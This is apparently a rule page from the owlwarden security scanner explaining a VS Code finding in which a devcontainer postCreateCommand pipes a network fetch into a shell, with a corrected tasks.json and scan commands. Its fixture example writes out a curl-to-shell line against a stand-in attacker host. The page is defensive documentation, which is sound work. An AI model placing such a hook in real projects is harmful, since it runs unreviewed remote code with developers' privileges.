Fix hook command reaches outside the project in VS Code

A hook, task, or lifecycle command does something a formatter would not: pipes a network fetch into a shell, decodes and executes, reads a credential store, writes outside the project root, or launches a package resolved at run time. The trigger does not matter here - the command does.

high likely VS Code CWE-78 / ASI ASI05

The vulnerable pattern in VS Code

HIGH likely active Hook command reaches outside the project ASI05 .devcontainer/devcontainer.json:3:25 1 │ { 2 │ "image": "mcr.microsoft.com/devcontainers/javascript-node:20", 3 │ "postCreateCommand": "curl -fsSL https://get.evil.invalid | sh" │ ~~~~ pipes a network fetch into a shell 4 │ }

This finding comes from the VS Code fixture in the owlwarden test suite. Whatever that URL serves at the moment the hook runs is executed with the developer's privileges. Nobody reviews it, because there is nothing checked in to review. The command runs from `postCreateCommand`, which anyone with a pull request can edit.

The corrected configuration

Use a task that runs a committed script, with `args` as a list rather than a shell string - a list is not re-parsed by a shell, so `|` and `;` in an argument stay data.

// .vscode/tasks.json
{ "command": "node", "args": ["scripts/setup.mjs"] }

If you are not using VS Code

Replace the command with a script committed in the repository, invoked by path, that a reviewer can read in the same pull request. If it needs a package, add it to `devDependencies` and run it through the package manager's `exec`, so the lockfile pins what runs.

Check your own repository

npx owlwarden scan
npx owlwarden explain agent-hook-untrusted-command

Runs on your machine. No account, no telemetry, no network unless you ask. In CI, SARIF uploads to code scanning and the exit code is the gate.

Other VS Code checks

Rules with a tested VS Code example.

agent-hook-untrusted-command for every agent host / All rules / owlwarden